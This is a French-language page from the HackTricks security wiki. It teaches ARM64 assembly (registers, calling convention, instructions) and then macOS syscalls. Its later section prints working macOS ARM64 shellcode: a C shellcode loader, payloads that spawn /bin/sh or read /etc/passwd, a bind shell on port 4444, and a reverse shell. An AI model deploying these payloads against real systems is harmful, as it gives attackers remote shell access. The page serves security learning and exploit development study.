24 KiB
Introduction à ARM64
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.
Introduction à ARM64
ARM64, également connu sous le nom de ARMv8-A, est une architecture de processeur 64 bits utilisée dans divers types d'appareils, y compris les smartphones, les tablettes, les serveurs et même certains ordinateurs personnels haut de gamme (macOS). C'est un produit d'ARM Holdings, une entreprise connue pour ses conceptions de processeurs économes en énergie.
Registres
ARM64 dispose de 31 registres à usage général, étiquetés de x0
à x30
. Chacun peut stocker une valeur 64 bits (8 octets). Pour les opérations qui nécessitent uniquement des valeurs 32 bits, les mêmes registres peuvent être accédés en mode 32 bits en utilisant les noms w0 à w30.
x0
àx7
- Typiquement utilisés comme registres temporaires et pour passer des paramètres aux sous-routines.
x0
transporte également les données de retour d'une fonction
x8
- Dans le noyau Linux,x8
est utilisé comme numéro d'appel système pour l'instructionsvc
. Dans macOS, c'est le x16 qui est utilisé !x9
àx15
- Autres registres temporaires, souvent utilisés pour les variables locales.x16
etx17
- Registres temporaires, également utilisés pour les appels de fonction indirects et les stubs PLT (Procedure Linkage Table).
x16
est utilisé comme numéro d'appel système pour l'instructionsvc
.
x18
- Registre de plateforme. Sur certaines plateformes, ce registre est réservé à des usages spécifiques à la plateforme.x19
àx28
- Ce sont des registres sauvegardés par l'appelé. Une fonction doit préserver la valeur de ces registres pour son appelant.x29
- Pointeur de cadre.x30
- Registre de lien. Il contient l'adresse de retour lorsqu'une instructionBL
(Branch with Link) ouBLR
(Branch with Link to Register) est exécutée.sp
- Pointeur de pile, utilisé pour suivre le sommet de la pile.pc
- Compteur de programme, qui pointe vers la prochaine instruction à exécuter.
Convention d'appel
La convention d'appel ARM64 spécifie que les huit premiers paramètres d'une fonction sont passés dans les registres x0
à x7
. Les paramètres supplémentaires sont passés sur la pile. La valeur de retour est renvoyée dans le registre x0
, ou également dans x1
si elle fait 128 bits. Les registres x19
à x30
et sp
doivent être préservés lors des appels de fonction.
Lors de la lecture d'une fonction en assembleur, recherchez le prologue et l'épilogue de la fonction. Le prologue implique généralement de sauvegarder le pointeur de cadre (x29
), de configurer un nouveau pointeur de cadre, et d'allouer de l'espace sur la pile. L'épilogue implique généralement de restaurer le pointeur de cadre sauvegardé et de retourner de la fonction.
Convention d'appel dans Swift
Swift a sa propre convention d'appel qui peut être trouvée ici https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64
Instructions courantes
Les instructions ARM64 ont généralement le format opcode dst, src1, src2
, où opcode
est l'opération à effectuer (comme add
, sub
, mov
, etc.), dst
est le registre de destination où le résultat sera stocké, et src1
et src2
sont les registres source. Des valeurs immédiates peuvent également être utilisées à la place des registres source.
mov
: Déplacer une valeur d'un registre à un autre.- Exemple :
mov x0, x1
— Cela déplace la valeur dex1
versx0
. ldr
: Charger une valeur de la mémoire dans un registre.- Exemple :
ldr x0, [x1]
— Cela charge une valeur de l'emplacement mémoire pointé parx1
dansx0
. str
: Stocker une valeur d'un registre dans la mémoire.- Exemple :
str x0, [x1]
— Cela stocke la valeur dansx0
à l'emplacement mémoire pointé parx1
. ldp
: Charger une paire de registres. Cette instruction charge deux registres depuis des emplacements mémoire consécutifs. L'adresse mémoire est typiquement formée en ajoutant un décalage à la valeur dans un autre registre.- Exemple :
ldp x0, x1, [x2]
— Cela chargex0
etx1
depuis les emplacements mémoire àx2
etx2 + 8
, respectivement. stp
: Stocker une paire de registres. Cette instruction stocke deux registres dans des emplacements mémoire consécutifs. L'adresse mémoire est typiquement formée en ajoutant un décalage à la valeur dans un autre registre.- Exemple :
stp x0, x1, [x2]
— Cela stockex0
etx1
aux emplacements mémoire àx2
etx2 + 8
, respectivement. add
: Ajouter les valeurs de deux registres et stocker le résultat dans un registre.- Exemple :
add x0, x1, x2
— Cela ajoute les valeurs dansx1
etx2
et stocke le résultat dansx0
. sub
: Soustraire les valeurs de deux registres et stocker le résultat dans un registre.- Exemple :
sub x0, x1, x2
— Cela soustrait la valeur dansx2
dex1
et stocke le résultat dansx0
. mul
: Multiplier les valeurs de deux registres et stocker le résultat dans un registre.- Exemple :
mul x0, x1, x2
— Cela multiplie les valeurs dansx1
etx2
et stocke le résultat dansx0
. div
: Diviser la valeur d'un registre par un autre et stocker le résultat dans un registre.- Exemple :
div x0, x1, x2
— Cela divise la valeur dansx1
parx2
et stocke le résultat dansx0
. bl
: Branche avec lien, utilisée pour appeler une sous-routine. Stocke l'adresse de retour dansx30
.- Exemple :
bl myFunction
— Cela appelle la fonctionmyFunction
et stocke l'adresse de retour dansx30
. blr
: Branche avec lien vers registre, utilisée pour appeler une sous-routine dont la cible est spécifiée dans un registre. Stocke l'adresse de retour dansx30
.- Exemple :
blr x1
— Cela appelle la fonction dont l'adresse est contenue dansx1
et stocke l'adresse de retour dansx30
. ret
: Retourner de la sous-routine, typiquement en utilisant l'adresse dansx30
.- Exemple :
ret
— Cela retourne de la sous-routine actuelle en utilisant l'adresse de retour dansx30
. cmp
: Comparer deux registres et définir les drapeaux de condition.- Exemple :
cmp x0, x1
— Cela compare les valeurs dansx0
etx1
et définit les drapeaux de condition en conséquence. b.eq
: Branche si égal, basé sur l'instructioncmp
précédente.- Exemple :
b.eq label
— Si l'instructioncmp
précédente a trouvé deux valeurs égales, cela saute àlabel
. b.ne
: Branche si Non Égal. Cette instruction vérifie les drapeaux de condition (qui ont été définis par une instruction de comparaison précédente), et si les valeurs comparées n'étaient pas égales, elle se branche vers un label ou une adresse.- Exemple : Après une instruction
cmp x0, x1
,b.ne label
— Si les valeurs dansx0
etx1
n'étaient pas égales, cela saute àlabel
. cbz
: Comparer et Branche sur Zéro. Cette instruction compare un registre avec zéro, et s'ils sont égaux, elle se branche vers un label ou une adresse.- Exemple :
cbz x0, label
— Si la valeur dansx0
est zéro, cela saute àlabel
. cbnz
: Comparer et Branche sur Non-Zéro. Cette instruction compare un registre avec zéro, et s'ils ne sont pas égaux, elle se branche vers un label ou une adresse.- Exemple :
cbnz x0, label
— Si la valeur dansx0
est non-zéro, cela saute àlabel
. adrp
: Calculer l'adresse de page d'un symbole et la stocker dans un registre.- Exemple :
adrp x0, symbol
— Cela calcule l'adresse de page desymbol
et la stocke dansx0
. ldrsw
: Charger une valeur 32 bits signée de la mémoire et l'étendre en signe à 64 bits.- Exemple :
ldrsw x0, [x1]
— Cela charge une valeur 32 bits signée de l'emplacement mémoire pointé parx1
, l'étend en signe à 64 bits, et la stocke dansx0
. stur
: Stocker une valeur de registre à un emplacement mémoire, en utilisant un décalage par rapport à un autre registre.- Exemple :
stur x0, [x1, #4]
— Cela stocke la valeur dansx0
à l'adresse mémoire qui est 4 octets plus grande que l'adresse actuellement dansx1
. -
svc
: Effectuer un appel système. Cela signifie "Supervisor Call". Lorsque le processeur exécute cette instruction, il passe du mode utilisateur au mode noyau et saute à un emplacement spécifique dans la mémoire où se trouve le code de gestion des appels système du noyau. - Exemple:
mov x8, 93 ; Charger le numéro d'appel système pour exit (93) dans le registre x8.
mov x0, 0 ; Charger le code de statut de sortie (0) dans le registre x0.
svc 0 ; Effectuer l'appel système.
Prologue de fonction
- Sauvegarder le registre de lien et le pointeur de cadre sur la pile:
{% code overflow="wrap" %}
stp x29, x30, [sp, #-16]! ; stocker la paire x29 et x30 sur la pile et décrémenter le pointeur de pile
{% endcode %}
2. Configurer le nouveau pointeur de cadre : mov x29, sp
(configure le nouveau pointeur de cadre pour la fonction actuelle)
3. Allouer de l'espace sur la pile pour les variables locales (si nécessaire) : sub sp, sp, <taille>
(où <taille>
est le nombre d'octets nécessaires)
Épilogue de fonction
- Désallouer les variables locales (si certaines ont été allouées) :
add sp, sp, <taille>
- Restaurer le registre de lien et le pointeur de cadre :
{% code overflow="wrap" %}
ldp x29, x30, [sp], #16 ; charger la paire x29 et x30 de la pile et incrémenter le pointeur de pile
{% endcode %}
3. Retourner : ret
(rend le contrôle à l'appelant en utilisant l'adresse dans le registre de lien)
macOS
Appels système BSD
Consultez syscalls.master. Les appels système BSD auront x16 > 0.
Pièges Mach
Consultez syscall_sw.c. Les pièges Mach auront x16 < 0, donc vous devez appeler les numéros de la liste précédente avec un moins : _kernelrpc_mach_vm_allocate_trap
est -10
.
Vous pouvez également vérifier libsystem_kernel.dylib
dans un désassembleur pour trouver comment appeler ces appels système (et BSD) :
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
{% hint style="success" %}
Parfois, il est plus facile de vérifier le code décompilé de libsystem_kernel.dylib
que de consulter le code source parce que le code de plusieurs appels système (BSD et Mach) est généré via des scripts (voir les commentaires dans le code source), tandis que dans la dylib, vous pouvez trouver ce qui est appelé.
{% endhint %}
Shellcodes
Pour compiler :
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
Pour extraire les octets :
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
Code C pour tester le shellcode
```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include <sys/mman.h> #include #includeint (*sc)();
char shellcode[] = "";
int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr; sc();
return 0; }
</details>
#### Shell
Tiré de [**ici**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) et expliqué.
{% tabs %}
{% tab title="avec adr" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
{% endtab %}
{% tab title="avec pile" %}
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
; We are going to build the string "/bin/sh" and place it on the stack.
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
; Prepare arguments for the execve syscall.
mov x1, #8 ; Set x1 to 8.
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
; Make the syscall.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
Lire avec cat
L'objectif est d'exécuter execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)
, donc le deuxième argument (x1) est un tableau de paramètres (ce qui en mémoire signifie une pile des adresses).
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path ; Get the address of "/etc/passwd"
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
adr x0, cat_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
Invoquer une commande avec sh depuis un fork pour que le processus principal ne soit pas tué
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the fork syscall
mov x16, #2 ; Load the syscall number for fork (2) into x8
svc 0 ; Make the syscall
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop ; If not child process, loop
; Prepare the arguments for the execve syscall
sub sp, sp, #64 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option ; Get the address of "-c"
str x0, [x1, #8] ; Store the address of "-c" as the second argument
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
adr x0, sh_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
_exit:
mov x16, #1 ; Load the syscall number for exit (1) into x8
mov x0, #0 ; Set exit status code to 0
svc 0 ; Make the syscall
_loop: b _loop
sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
Coquille de liaison
Coquille de liaison depuis https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s sur le port 4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
call_listen:
// listen(s, 2)
mvn x0, x3
lsr x1, x2, #3
mov x16, #106
svc #0x1337
call_accept:
// c = accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0
lsr x2, x16, #4
lsl x2, x2, #2
call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Reverse shell
Depuis https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell vers 127.0.0.1:4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
lsr x2, x2, #2
call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.